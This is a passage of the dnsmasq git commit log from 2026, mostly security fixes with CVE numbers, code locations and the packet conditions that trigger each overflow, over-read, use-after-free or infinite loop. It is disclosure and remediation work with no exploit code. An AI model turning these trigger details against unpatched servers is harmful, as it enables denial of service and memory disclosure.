The patch caps len inside print_mac at DHCP_CHADDR_MAX (16), which is
the actual size of chaddr in the BOOTP header and an upper bound on
any legitimate hardware-address length. The other in-file caller of
print_mac already clamps its length argument to 14 before the call,
so this change is local to the vulnerable path.
2026-05-30 15:58:52 +01:00
Simon Kelley af73e48067 Include fc00::/8 in the set of local addresses.
The current local address range is fd00::/8, but RFC 4193
para 3.1/3.2 reserves fc00::/8 for future use as local addresses,
so add that to the list.

Thanks to Michalis Vasileiadis for spotting this omission.
2026-05-30 13:46:44 +01:00
Simon Kelley 77d4749a5e Fix DNSSEC frec use-after-free in TCP validation path.
Full credit to Jerry Tom <goonsomeway@gmail.com> for finding this.

When DNSSEC validation falls back to TCP (via a forked child process),
the parent uses a uid-based check to detect whether a frec has been
freed and reused before the child returns. It doesn't, however check for
the more likely scenario which is that the frec has simply been
freed via the timeout path in get_new_frec(). This leads to a
use-after-free on an already freed frec.
2026-05-29 17:24:54 +01:00
OpenAI Security Research Team 0375e40824 Fix bounds-checking in contrib/lease-tools/dhcp_release6.c
Credit to OpenAI Security Research Team, outbounddisclosures@openai.com
2026-05-29 16:28:49 +01:00
Simon Kelley 18a139f48f Change "limit" arg to add_pseudoheader() to a length.
Also ripple effects for most of its callers.

This fixes an OOB write caused by bad pointer arithmetic
calculating the pointer-to-end-of-packet used before.

Thanks to Donghyeon Jeong for spotting the bug.
2026-05-17 13:06:17 +01:00
Simon Kelley d5d2bfb74a Change "limit" arg to make_local_answer() to a length.
This fixes an OOB write caused by bad pointer arithmetic
calculating the pointer-to-end-of-packet used before.

Thanks to Donghyeon Jeong for spotting the bug.
2026-05-17 13:05:35 +01:00
Simon Kelley 7f5802c144 Tidy up get_line_alloc() 2026-05-17 00:33:55 +01:00
Simon Kelley 7280e46aa5 Check for too-small packets in relay_upstream6()
Before this fix, the code could read a couple of bytes beyond
valid data when an invalid too-short packet was recieved.

Thanks to Sokhna Walo DIAKHATE <sokhnawalodiakhate@esp.sn>
for the bug report.
2026-05-17 00:24:57 +01:00
Simon Kelley 754177b368 Fix hostname_issubdomain() confusion.
commit 1269f074f8 broke
hostname_issubdomain() and then accidentally fixed
some of the problems by inverting the argument order
in the new uses of the function it introduced.
All the pre-existing calls to hostname_issubdomain()
were left in a non-working state.

This fixes hostname_issubdomain() back to the state
before 1269f074f8, adds
some logic to give correct answers when comparing
to the root domain, and gets right the new calls to
hostname_issubdomain()  added in
1269f074f8

Thanks to Jean Thomas for spotting this problem.
2026-05-16 23:52:29 +01:00
Simon Kelley 228d7ff964 Remove arbitrary limit on config file line lengths.
Stop using the namebuff buffer to read config file
lines. This reduced in size in
014e909f78 and caused
regressions. We now resize the buffer as needed,
so there is no practical limit.

Use the same code to remove the same limit when reading
/etc/ethers and /etc/resolv.conf. Also when copying output
from the lease-change script into the log.

Thanks to Kevin Darbyshire-Bryant for finding the regresssion.
2026-05-16 21:37:11 +01:00
do litli 14094e88be Fix buffer OOB read in find_soa()
In find_soa() extract_name() is called with extrabytes=0 when parsing NS
record names, which means it only validates that the DNS name fits
within the packet but does not check that 10 additional bytes exist for
the type/class/TTL/rdlen fixed fields. Lines 546-549 then
unconditionally read these 10 bytes via GETSHORT/GETLONG macros. An
attacker controlling a DNS zone can craft a NXDOMAIN response where the
NS record name extends to the packet boundary, causing a 10-byte
out-of-bounds read past the valid packet data (CWE-125, CVSS 5.3
Medium). The read stays within the over-allocated packet buffer in
default configurations, limiting crash risk, but accesses data outside
the logical packet boundary. Under certain conditions, the overread may
access stale heap data from prior transactions.

The fix is straightforward: change the extrabytes
argument from 0 to 10, consistent with other call sites in
the same file.

Credit is due to do litli for finding this problem.
2026-05-10 22:03:50 +01:00
Simon Kelley c705607122 Fix problen in from_wire() when names contain escape chars.
Thanks to Royce M <royce@xchglabs.com> for spotting this.
2026-05-10 21:49:40 +01:00
Simon Kelley 9d2c93b608 Sync 3ea905b98b with 7cd050075ea73cd7707fce5b70f0fec25f722f67 2026-05-10 21:49:40 +01:00
Simon Kelley 073082ddc0 Fix buffer overflow vulnerability in extract_addresses() CVE-2026-5172
Thanks to Hugo Martinez Ray for spotting this.

The value of rdlen for an RR can be a lie, allowing the
call to extract_name() at rfc1025.c:952 to advance the value of p1
past the calculated end of the record. The makes the calculation
of bytes remaining in the RR underflow to a huge number and results
in a massive heap OOB read and certain crash.
2026-05-10 21:49:40 +01:00
Simon Kelley 9f651f3398 Updates to a345b075b3b8696a18631b46e53ab654354ed961 following review. 2026-05-10 21:49:40 +01:00
Simon Kelley e3a26d092e Fix broken client subnet validation. CVE-2026-4893
Bug report from Royce M <royce@xchglabs.com>

Location: forward.c:713, edns0.c:421

With --add-subnet enabled, process_reply() passes the OPT record
length (~23 bytes) instead of the packet length to check_source().
All internal bounds checks fail, and the function always returns 1.
ECS source validation per RFC 7871 Section 9.2 is completely bypassed.
2026-05-10 21:49:40 +01:00
Simon Kelley 10e6b5b83e Fix buffer overflow in helper.c with large CLIDs. CVE-2026-4892
Bug reported bt Royce M <royce@xchglabs.com>

Location: helper.c:265-270
DHCPv6 CLIDs can be up to 65535 bytes. When --dhcp-script is configured,
the helper hex-encodes raw CLID bytes via sprintf("%.2x") into daemon->packet (5131 bytes).
A 1000-byte CLID writes ~3000 bytes. The helper process retains root privileges.

Note: log6_packet() correctly caps CLID to 100 bytes for logging, but the helper code path was missed.
2026-05-10 21:49:40 +01:00
Simon Kelley 788b4e0f6c Verify rdlen field in RRSIG packets. CVE-2026-4891
Bug report from Royce M <royce@xchglabs.com>

This avoids crafted packets which give a value for rdlen _less_
then the space taken up by the fixed data and the signer's name
and engender a negative calculated length for the signature.
2026-05-10 21:49:40 +01:00
Simon Kelley 7b151eb606 Fix NSEC bitmap parsing infinite loop. CVE-2026-4890
Report from Royce M <royce@xchglabs.com>.

Location: dnssec.c:1290-1306, dnssec.c:1450-1463

The bitmap window iteration advances by p[1] instead of p[1]+2
(missing the 2-byte window header). With bitmap_length=0, both rdlen and p are
unchanged, causing an infinite loop and dnsmasq stops responding to all queries.

Bug is reachable before RRSIG validation
(confirmed by the source comment at line 2125), so no valid
DNSSEC signatures are needed.
2026-05-10 21:49:40 +01:00
Simon Kelley 014e909f78 Rework storage allocation for domain names. CVE-2026-2291
This is the stable release fix for CVE-2026-2291

Dnsmasq recieves and sends domain names within DNS packets in RFC-1035
format, a string of counted labels terminated by a zero length label.
Internally to dnsmasq, domain names are represented as zero-terminated C strings
with the labels seperated by '.' characters, like the normal presentation
format for domain names.

The RFC-1035 limit for a domain name in wire format is 255 octets, and
when converted to presentation format, this makes a string of
maximum 253 characters. However dnsmasq needs to be able to
represent any 8-bit character within a label, and this causes
problems with /000 (which would terminate the c-string early) and
'.' (which would terminate a label early). To avoid this, dnsmasq
escapes both of these characters, which means that they take two bytes
in the string. The domain name with must charaters in it has four labels
and the 255 octet wire length limits these four labels to a total of
250 characters. The other five octets are the four label length bytes
and the zero length byte terminator. If all 250 characters need escaping
that makes the maximum length of the dnsmasq internal format 503
characters (250 escaped characters in labels, amd three dots between
four labels) Since this format is zero-terminated c-string, buffers
have to be allocated as 504 bytes.

This arrangement grew in a somewhat ad-hoc manner and early dnsmasq
didn't do the escaping trick, and didn't really differentiate between
the lengths of the wire format and the presentation format, since
they were very similar. It also, for reasons lost in time, inherited
a defintion for MAXDNAME from early BIND headers, set at 1025 bytes.
This value was used as the buffer size for both wire and presentation
formats.

This patch makes everything consistent. It declares two constants

MAXDNAME 255     /* max size of wire format domain name */
MAXDNAMESTR 503  /* max size of internal format created from a 255 octet wire format name */

All internal name buffers are allocated as MAXDNAMESTR+1 bytes,
to hold a maximum size internal format name and zero termination.

Names parsed out of incoming packets are rejected if their
wire format is greater than 255 bytes, which ensures that
their internal representation cannot exceed 503 characters.
Names inserted into outgoing packets are failed similarly if
they exceed 255 bytes. (this would in theory be possible
for a legal internal-representaion name if it has at least
one unescaped character in a label.
2026-05-10 21:49:39 +01:00
Simon Kelley 29f8712f02 Fix OOB read/write of rr_status.
Crafted packets can write zeros outside the limits of the rr_status
array, causing a crash and DoS.

Thanks to Haiyang Huang for finding and reprting this.
2026-05-10 21:47:12 +01:00
Simon Kelley 0450f9e28a Fix OOB read when parsing DHCPv6 userclass or vendorclass options.
Credit to Haiyang Huang for finding this.

The fix extends the improved framework for DHCPv6 options added in
b95d5a2577
to the encapsulated vendor and user options.
2026-05-10 16:49:59 +01:00
Sagie D. 0637bcf010 Add support for IPV6 when reading ARP/ND table on *BSD.
The arp_enumerate() function is extended into a per-family
helper arp_enumerate_family(), called sequentially for AF_INET and
AF_INET6, allowing the NDP neighbour cache to be enumerated alongside
the ARP table. An empty table for either family is treated as vacuous
success rather than an error. Both tables are acquired in *BSD via
PF_ROUTE sysctl calls that return raw kernel structures; consequently,
for IPv6, the sockaddr_in6 peer address extracted from them has an
embedded link-local scope ID. This ID is extracted into sin6_scope_id,
and bytes 2-3 of the address are then cleared, per the KAME API
contract.

Signed-off-by: Sagie D.
2026-05-09 21:44:38 +01:00
Simon Kelley 4bcc9650fa Fix memory leak reading ARP cache on *BSD.
arp_enumerate() on *BSD platforms has a bad memory leak.

Thanks to Sagie Duchovne-Nave for finding this problem. His
description is included below:

 arp_enumerate() allocates a heap buffer via expand_buf() to hold the
 kernel ARP table dump retrieved through sysctl(NET_RT_FLAGS). This
 buffer is never freed on any return path -- neither the early error
 returns nor the normal return after iteration -- causing a leak on
 every call.

 The leak is most acute in the DHCPv6 path. get_client_mac() calls
 find_mac() up to five times per packet with lazy=0. Because the
 'updated' flag is local to each find_mac() invocation, a cached
 ARP_EMPTY entry for an unresolvable IPv6 address does not short-
 circuit the kernel lookup: each call falls through to iface_enumerate()
 -> arp_enumerate(), leaking one buffer per call. This yields up to
 five leaked allocations per DHCPv6 SOLICIT packet. The leak size per
 call equals the full system-wide IPv4 ARP table dump across all
 interfaces.

 The condition is readily triggered by a DHCPv6 client whose MAC
 address cannot be resolved via NDP -- which is the common case on
 FreeBSD, because arp_enumerate() queries NET_RT_FLAGS/RTF_LLINFO,
 which returns IPv4 ARP entries only; IPv6 NDP neighbour entries are
 not included. As a result every IPv6 MAC lookup fails unconditionally
 on FreeBSD, every failed lookup produces an ARP_EMPTY record that is
 never promoted, and every subsequent packet for that client leaks five
 buffers.

This fix is by Simon Kelley, not Sagie, so any bugs are my fault.
The fix is to make the buffer statically allocated, so that expand_buf()
is normally a NOOP, but when the ARP cache grows, it grows to match.
This avoids fragmenting the heap with many malloc/free calls.
It's a common design pattern in dnsmasq, but the original author
of this code missed the importance of that static allocation. Since
that was before dnsmasq moved into git, the details are lost to time.
2026-05-04 16:18:33 +01:00
Florian MargaineandClaude Opus 4.6 fc2286805f Preserve existing log file permissions when adding group-write bit.
Commit 1f8f78a49b ("Add root group writeable flag to log file")
introduced a fchmod() call in log_start() that resets the file mode
to a hardcoded value (0660), discarding any pre-existing permissions.
This broke our usage of dnsmasq where we create the log file with
specific permissions before starting dnsmasq in an LXC container
namespace, so that unprivileged users inside the container can read
the log. The hardcoded mode strips those permissions on startup.

Use the existing stat result to OR in S_IWGRP instead, equivalent
to chmod g+w, so that only the group-write bit is added without
disturbing other permission bits.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-04-21 22:41:10 +01:00
Simon Kelley d158aeca75 Increase default limit on TCP handler processes from 20 to 30.
There's evidence that modern Chrome may need this. It has been 20
forever, and hardware inflation would support an increase.

https://lists.thekelleys.org.uk/pipermail/dnsmasq-discuss/2026q2/018450.html
2026-04-21 22:27:07 +01:00
Simon Kelley 36d081e374 Fix buffer overlow in log_query()
The addition of "(not supported)" to logs of DS and DNSKEY replies
overflows the buffer used to construct the string.

Re-arrange things to avoid this, and add checks to avoid the same  problem
if the logging calls change in the future.

Thanks to Yiwei Hou for finding this.

The problem exists is DNSSEC is enabled and query logging is also
enabled. The overwrite is of bounded length and the bytes
written are not in control of an attacker, so this is not considered
a likely remote-execution vector.
2026-04-21 22:14:41 +01:00
Toliak Purple 9eb0757da9 Fix crash with mal-formed config option.
Reproduction Steps. Both commands cause a segmentation fault:
```
dnsmasq --interface-name=,
dnsmasq --dynamic-host=,::,
```

Stack Trace (ASAN, v2.90)
```
==1817==ERROR: AddressSanitizer: SEGV on unknown address
0x000000000000 (pc 0x7f0203d22845 bp 0x7ffc3316b920 sp 0x7ffc3316b0a0
T0)
==1817==The signal is caused by a READ memory access.
==1817==Hint: address points to the zero page.
    #0 0x7f0203d22845 in __interceptor_strncmp
../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:488
    #1 0x5563361feeb3 in iface_allowed /opt/dnsmasq/src/network.c:361
    #2 0x556336203aca in iface_allowed_v6 /opt/dnsmasq/src/network.c:622
    #3 0x55633625cc4c in iface_enumerate /opt/dnsmasq/src/netlink.c:291
    #4 0x55633620573c in enumerate_interfaces /opt/dnsmasq/src/network.c:836
    #5 0x55633615c3fe in main /opt/dnsmasq/src/dnsmasq.c:367
```

The fault occurs due to a null-pointer dereference in iface_allowed()
at line 361:
```
if (strncmp(label, int_name->intr, IF_NAMESIZE) == 0)      //// here
int_name->intr is NULL
```

That occurs due to a null-pointer assignment in the option.c at line 4856:
```
new->intr = opt_string_alloc(arg);               //// if arg is empty
string, the opt_string_alloc will return NULL
```
2026-04-21 21:49:35 +01:00
Simon Kelley 2d0e0c7a54 Tweak DHCPv6 replay decapsulation.
RFC 8415 doesn't exclude the possiblity that a relay-forward
message could contain _more_than_one relay-message option. The
existing code could, under certain circumstances, access freed
stack memory in this case.

Thanks to Dejan Alvadzijevic and his fuzzer for finding this
condition.

This patch fixes things so that dnsmasq does at least sensible
things with multiple relay-message options, and no longer
has the (remote) possibility of accessing dead memory.
2026-04-10 13:35:27 +01:00
Simon Kelley cfc2244c2a Bump copyrights to 2026. 2026-04-08 12:08:18 +01:00
Simon Kelley 9ad74926d4 Fix 1-byte buffer overflow in relay_reply4()
Potential SIGSEGV when using DHCPv4-relay.

Thanks to Asim Viladi Oglu Manizada for finding this.
2026-04-06 22:22:43 +01:00
Simon Kelley a6069da373 Check DNS query via TCP doesn't have QR bit set. 2026-04-05 22:50:43 +01:00
Simon Kelley 14f53171ca Sanity checking on DNS replies via TCP. 2026-04-05 22:25:56 +01:00
Simon Kelley 8fd06d2cc0 OOB buffer check with DNS bitstring labels. 2026-03-30 21:19:26 +01:00
Simon Kelley d152e81e42 Tighten check on TFTP pathnames to avoid directory escape. 2026-03-30 21:18:11 +01:00
Simon Kelley e0bec3342b Move logging on TCP timeout from child process to main process.
Callong my_syslog from a signal handler is not good.

Thanks to Dominik Derigs for spotting this.
2026-03-30 20:23:56 +01:00
Dominik dd707937d5 dump: check lseek() return in pcap record-counting loop
When --dump-file points to an existing pcap file, dump_init_file()
counts the existing records by reading each pcap record header and
seeking past the payload.  The lseek() return value was not checked:
if it fails (e.g. EOVERFLOW on a 32-bit build with a very large
incl_len, or any other seek error) the file position does not advance,
the next read_write() call reads the same header again, and the loop
spins forever — hanging daemon startup.

Fix: break out of the loop on lseek failure.  An undercount of
existing records is harmless; a hanging startup is not.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 20:15:44 +01:00
Dominik c5f46412a3 domain: fix strncat buffer-size argument in is_rev_synth()
strncat(dst, src, n) truncates src to n bytes, but n should be the
remaining space in dst, not the total buffer size.  Passing MAXDNAME
as n allowed the combined prefix + address + "." + domain to overflow
the MAXDNAME-byte namebuff if c->domain was close to MAXDNAME chars.

Replace MAXDNAME with MAXDNAME - strlen(name) - 1 at each call site
(lines 178-179 for IPv4, 204 for the IPv6 hex-fragment loop, 208-209
for the IPv6 suffix) so the append is always bounded by actual
remaining capacity.

Security implications: strncat(name, c->domain, MAXDNAME) passes the
full buffer size instead of remaining space. Overflow requires a local
admin to configure a --synth-domain with a domain name > ~960 chars.
The actual exploitable window is narrow: the admin would need a
--synth-domain with a domain name close to 1024 chars (which check_name
permits) combined with a non-trivial prefix or IPv6 address.
Not remotely exploitable.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 20:06:43 +01:00
DominikandClaude Sonnet 4.6 cd04c0ce20 lease: check parse_hex() return value before use as length
parse_hex() returns -1 on malformed input.  Three call sites in
read_leases() used the return value directly as a length argument
without checking for the error sentinel:

  opt_len  → lease_set_vendorclass() / lease_set_agent_id()
              whine_malloc(-1) attempts a ~4 GB allocation, likely
              crashing the process.

  hw_len   → lease_set_hwaddr()
              memcpy(lease->hwaddr, hwaddr, (size_t)-1) performs an
              ~18 EB write, causing an immediate crash.

  clid_len → lease_set_hwaddr() (same path as hw_len)

Exploitation requires a corrupted or attacker-controlled lease file;
it is not directly network-triggerable.  However, any process that can
write to the lease file (e.g. a compromised helper) can crash or
potentially gain code execution in the dnsmasq process at next startup
or lease-file re-read.

Fix: mirror the existing duid path (which already guards its
parse_hex call) by checking for < 0.  For opt_len, skip the record
(continue) to match the "invalid line" behaviour.  For hw_len and
clid_len, treat the failure as a zero-length field so the lease is
still created with the correct address.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-03-30 20:06:34 +01:00
Dominik 0630a45ae1 edns0: bounds-check option length before memcmp in check_source()
The EDNS0 option iteration loop read a 2-byte len field from the
packet and used it directly in:
  opt.scope_netmask = p[3];          // requires len >= 4
  memcmp(p, &opt, len)               // reads len bytes from packet

Neither access was guarded against len exceeding the remaining RDATA.
A crafted DNS reply whose OPT RDATA contains a CLIENT_SUBNET option
with an oversized len field would cause memcmp to read past the end of
the packet buffer, leaking heap memory.

Risk: currently the only caller that reaches this branch is
forward.c:process_reply(), which (before the companion fix) passed an
OPT-RR-scoped plen that made skip_name() return NULL first, so the
unsafe code was never reached.  With that companion fix applied the
path is live: a rogue upstream server or on-path attacker can craft a
reply with a malformed CLIENT_SUBNET len and trigger the OOB read,
potentially leaking adjacent heap contents.

Fix: break out of the loop if the option body would extend past the
RDATA boundary.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 18:24:11 +01:00
Dominik 3ea905b98b rfc3315: fix integer underflow and heap overflow in log6_opts STATUS_CODE
In log6_opts(), the OPTION6_STATUS_CODE branch did:
  memcpy(daemon->namebuff + len, opt6_ptr(opt, 2), opt6_len(opt)-2);
  daemon->namebuff[len + opt6_len(opt) - 2] = 0;

Two bugs:
1. Integer underflow: if opt6_len(opt) < 2, the subtraction wraps to a
   huge size_t, making memcpy write gigabytes and crash with SIGSEGV.

2. Heap overflow: no upper-bound check.  opt6_len() can return up to
   65535, but daemon->namebuff is only (MAXDNAME*2)+1 = 2051 bytes.
   A STATUS_CODE payload larger than ~2045 bytes would overflow the
   heap buffer.

Exploitability: log6_opts() is only ever called on daemon->outpacket,
the outgoing DHCPv6 reply built by dnsmasq itself — NOT on incoming
client packets.  Consequently, these bugs are NOT directly triggerable
by a remote attacker under the current code.  The fix is defensive:
put_opt6_short() (which writes STATUS_CODE options in outgoing packets)
always produces opt6_len >= 2, so neither bug fires in practice today.
However, the unchecked arithmetic is a latent hazard that could become
exploitable if future refactoring passes incoming option data through
log6_opts():
- Guard the block with opt6_len(opt) >= 2 to prevent underflow.
- Cap slen to the remaining space in daemon->namebuff.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 18:13:01 +01:00
Dominik ca509cb611 dhcp-common: fix OOB reads in DHCPv6 option_string() decoders
Two decoders in option_string() read beyond the end of the supplied
option-value buffer when a malformed DHCPv6 option is received:

1. OT_RFC1035_NAME: after advancing i past the last label (i = l),
   val[i] was read at line 885 to decide whether to append a '.'.
   If the label ends exactly at opt_len, i == opt_len and val[i]
   is one byte past the option data.  Fixed by guarding with
   i < opt_len before the read.

2. OT_CSTRING: the loop opened with while(1) and called GETSHORT
   (a 2-byte read) before checking that two bytes remained, so a
   1- or 0-byte option value caused an immediate 1-byte OOB read.
   Additionally, if the length field exceeded the remaining option
   data the inner body-copy loop read past the end.  Fixed by
   changing the loop condition to while(i+2 <= opt_len) and adding
   a check that the body fits before copying.

Both reads land inside the received packet buffer (no crash), but
they allow a DHCPv6 client to cause dnsmasq to read unrelated packet
bytes and emit them in syslog output.

Security: OOB reads of up to option-length bytes from a
network-supplied DHCPv6 packet; reachable only with --log-dhcp
enabled; no memory corruption, crash, or sensitive data disclosure
beyond adjacent packet bytes.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 18:09:43 +01:00
Dominik 8ceb8ee9b5 dhcp-common: bounds-check label index before reading in OT_RFC1035_NAME decoder
In option_string(), the RFC1035-name label decoder sets i = l (the
position past the current label) and then reads val[i] to decide
whether to append a '.' separator — but without first checking that
i < opt_len.  If the last label ends exactly at the option boundary
(no NUL terminator), i == opt_len and val[i] reads one byte beyond
the option data.

The read lands inside the packet buffer so no crash occurs, but the
out-of-bounds byte (typically the next DHCPv6 option's type field)
could produce a spurious trailing '.' in --log-dhcp output when a
client sends a domain-search/nis-domain option without a trailing NUL.

Security: OOB read of 1 byte from a network-supplied DHCPv6 packet;
reachable only with --log-dhcp enabled; no memory corruption, crash,
or meaningful information disclosure.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 18:00:22 +01:00
Dominik 1c4a97edb5 rfc2131: fix off-by-one in BOOTP filename netid NUL termination
After copying the 128-byte DHCP file field into dhcp_buff2, the
sentinel was written to index 129 instead of 128.  The byte at
index 128 was therefore left holding stale data from the previous
DHCP exchange, so a client that fills the entire file field with
non-NUL bytes would produce a 129-character netid tag whose last
byte is heap garbage.  In theory this allows incorrect netid-tag
matching; in practice it requires the client to know the heap
state of a prior transaction and BOOTP use is uncommon.

Security: very-low-severity heap-content exposure that could
influence DHCP option selection via tag mismatch; no memory
corruption or crash.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 17:59:50 +01:00
Dominik 9e3e0465cd helper: fix OOB read in grab_extradata_lua bounds check
The loop in grab_extradata_lua checked *next != 0 in the loop
condition before the body could test next == end, so when next
reached end the byte *end was read out-of-bounds. The non-Lua
sibling grab_extradata had the correct order (test next == end
before dereferencing). Fix by adopting the same idiom.

Security: a DHCP client can supply a vendor-class option whose
content fills the extradata buffer with no trailing NUL, causing
a 1-byte OOB read in the Lua helper child (already non-root).
Requires HAVE_LUASCRIPT and a configured Lua script. Not feasible
for triggering a crash from remote reliably.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 17:57:44 +01:00
Dominik b12a9249f6 fix: NUL-terminate buf in prettyprint_time() when t == 0
When t == 0 every conditional branch is skipped and buf is never
written, leaving it without a NUL terminator.  The caller in
dhcp-common.c log_opts() does `p += strlen(p)` immediately after,
scanning uninitialised stack memory until it finds a stray zero byte.

Reachable from the network: a local attacker can craft a DHCP packet
with any time-typed option (e.g. option 51) set to 0x00000000,
triggering this path via the option-logging code. Impact is limited
to stack bytes appearing in syslog output (information disclosure),
not reachable for code execution. Fix by zeroing buf[0] first so
the buffer is always well-formed.

This bug does not look like it could be a remotely triggerable DoS
vector as strlen(buf) on an uninitialised heap buffer will almost
certainly find a NUL byte in adjacent heap metadata before
hitting an unmapped page.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 17:34:56 +01:00
Dominik 9dec84ca42 fix: rand64() must share global outleft with rand16()/rand32()
rand64() declared its own `static int outleft`, shadowing the global
one while all three functions share the same out[] SURF output buffer.
When rand64() called surf() to refill out[], the global outleft still
indexed into the now-overwritten buffer, so subsequent rand32() or
rand16() calls could return the same words rand64() had already
consumed.  Drop the local static so all three functions coordinate
through the same counter.

Security: rand64() is used to generate DHCPv6 temporary address
interface IDs, which are visible on the local network.  Because of the
shared buffer issue, an observer could reconstruct the out[]
words consumed by rand64() and predict the next rand32() outputs.
rand32() drives the 0x20 case-scrambling bitmap used to harden DNS
queries against cache-poisoning, so this leaks PRNG state across the
DHCPv6 and DNS code paths. I'd still say the overall severity is rather
low as local network access required, and 0x20 encoding is really a
defence-in-depth and not some kind of essential security.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 17:33:08 +01:00
Dominik 68c149e9dd fix: move fd-match guard out of loop in reply_query()
The `if (serv == last) return;` was inside the loop
`for (serv = first; serv != last; ...)`, making it dead code — the
loop condition ensures the body never runs when serv == last. Replies
arriving on an unrecognised file descriptor were therefore never
rejected by the fd check. Moving the guard after the loop causes it to
fire when no server socket matches.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 17:32:09 +01:00
Dominik 5ea054b264 fix: zero correct byte count in expand_workspace_real()
memset(p+old, 0, new-old) was missing the sizeof(unsigned char *)
multiplier.  p is unsigned char**, so each slot is pointer-sized (8
instead of 1 byte on 64-bit), yet only new-old bytes were zeroed,
leaving newly allocated DNSSEC workspace pointer slots with garbage values.

Signed-off-by: Dominik <dl6er@dl6er.de>
2026-03-30 17:31:20 +01:00
Simon Kelley b95d5a2577 Further tidying of DHCPv6 packet dissection code.
Make things more logical, and put buffer overflow detection in one
new function, opt6_first().
2026-03-25 12:11:54 +00:00
Simon Kelley 5be5dc1f16 New heuristic for disabling DNSSEC for domain-specific nameservers.
If there's no configured server for the parent  of the domain
covered by a domain-specific server, assume that said domain is
not signed. This extends the existing logic which makes similar
decisions for replies to DS queries from tghe parent server.
2026-03-24 12:35:46 +00:00
Simon Kelley 48348a2d77 Fix broken DHCPv6 userclass data in DHCP script.
Exactly the same principle as 53313014b5
2026-03-17 13:40:10 +00:00
Simon Kelley b4a0663654 Accept DHCPv6 vendorclasses with any enterprise number in --dhcp-vendorclass
if not enterprise number is specified. Also accept and match on
enterprise number only.
2026-03-17 13:29:49 +00:00
Simon Kelley 53313014b5 Fix broken DHCPv6 vendorclass data in DHCP script.
The code sending vendorclass data to the DHCP script
was confused about the format of the vendorclass in
the DHCP packet, resulting in broken data passed
to the packet.
2026-03-17 12:09:36 +00:00
Simon Kelley cf08eeee12 Complete 32a54fc8a5 2026-03-15 16:03:29 +00:00
Simon Kelley 0597828b74 Tighten length checking to avoid possible buffer read-overrun in DHCPv6.
Thanks to Dejan Alvadzijevic for spotting the problem.
2026-03-15 16:01:58 +00:00
Simon Kelley c8168e888e Don't call qsort() with a NULL array when no servers defined. 2026-03-10 21:17:41 +00:00
Simon Kelley 3a052d55fb Fix regression handling non-QUERY requests over TCP.
Regression introduced in 729c16a8ac
2026-03-08 22:19:30 +00:00
Simon Kelley 1eab169173 Fix missed hash->digest calls in 4070a74862 2026-03-01 12:33:38 +00:00
Simon Kelley 4070a74862 Fix FTBFS with nettle 4.0.
Thanks to Andreas Metzler for the heads-up.
2026-03-01 12:19:11 +00:00
Simon Kelley 65adc53130 Modify the inotify implementation so that inotify watches are
only created after dnsmasq has changed permissions and userid.
This means that the permissions used when creating the watches
are the same as used for accessing watched files, which makes
more sense and avoids odd and confusing error conditions.
2026-02-28 21:30:57 +00:00
Simon Kelley 66d9658f5f Fix crash with empty DHCP SNAME option.
dhcp-option=66,

sets the servername to nothing, and causes a segfault at DHCP
transaction time. There may be other ways to provoke this, for
instance by using an empty filename.

The patch make safe_strncpy() even safer, by handing a NULL src argument.

Thanks to Jeff Allen for spotting and reporting this.
2026-02-26 15:10:41 +00:00
Thomas Erbesdobler ca30c82647 Fix broken NS responses in certain auth-zone configurations.
If dnsmasq is configured as an authoritatve server for zone transfer
_only_, (ie no interface name or address in --auth-server)
and secondary auth servers are configured, then
queries for NS RRs at the auth zone will get mangled answers.
This problem doesn't occur in AXFR or SOA queries, only NS queries.

Thanks to Thomas Erbesdobler for finding and analysing this problem.
The patch here is substantially his, with a little but of
collateral code tidying by srk.
2026-02-26 13:30:44 +00:00
Simon Kelley 32a54fc8a5 Remove duplicate configured trust anchors.
Well-known trust anchors can turn up in multiple config files.

Leaving the duplicates makes logging messy and costs some
CPU checking the same DS twice.
2026-02-16 22:20:05 +00:00
Simon Kelley 3f2bfca3df Log memory allocated by libidn when --log-malloc active. 2026-02-13 13:15:07 +00:00
Simon Kelley e4d0bb4579 Convert hash_init() to use realloc(). 2026-02-06 15:05:59 +00:00
Clayton O'Neill 84415a87be Fix PXE boot server (PXEBS) responses broken in 2.92
I think I've found a regression in dnsmasq 2.92 that breaks PXE boot server
(PXEBS) responses when running in proxy DHCP mode. Fair warning: I'm not
familiar with the dnsmasq codebase and used AI tooling to help trace through
the source and identify the issue, so please take the analysis below with
appropriate skepticism. PXE boot works fine on 2.91
but fails on 2.92 — the client gets the initial proxy DHCPOFFER, but the PXEBS
ACK on port 4011 never reaches it.

My setup is dnsmasq in proxy DHCP mode serving iPXE to Proxmox VMs via their
virtio-net ROM. Here's a stripped-down version of my config:

  port=0
  enable-tftp
  tftp-root=/tftpboot
  dhcp-range=172.19.74.0,proxy,255.255.255.0
  interface=eno1
  bind-interfaces
  dhcp-match=set:ipxe,175
  pxe-service=tag:ipxe,x86PC,"Network Boot",http://server:8081/boot.ipxe
  pxe-service=tag:!ipxe,x86PC,"Network Boot",undionly.kpxe
  log-dhcp

The issue seems to be in src/dhcp.c in the response routing logic after
dhcp_reply() returns. In 2.91, the destination selection was an if/else-if
chain:

  if (pxe_fd)
      { ... }
  else if (mess->giaddr.s_addr && !is_relay_reply)
      { ... }
  else if (mess->ciaddr.s_addr)
      { ... }
  else
      { ... broadcast to 255.255.255.255:68 ... }

In 2.92, the else between the pxe_fd block and the giaddr/relay check was
removed in commit 4fbe1ad ("Implement RFC-4388 DHCPv4 leasequery") to
accommodate the new is_relay_use_source logic:

  if (pxe_fd)
      { ... }
  if ((is_relay_use_source || mess->giaddr.s_addr) && !is_relay_reply)
      { ... }
  else if (mess->ciaddr.s_addr)
      { ... }
  else
      { ... broadcast to 255.255.255.255:68 ... }

For PXEBS responses, dhcp_reply() in rfc2131.c (around line 924-925) does:

  mess->yiaddr = mess->ciaddr;
  mess->ciaddr.s_addr = 0;

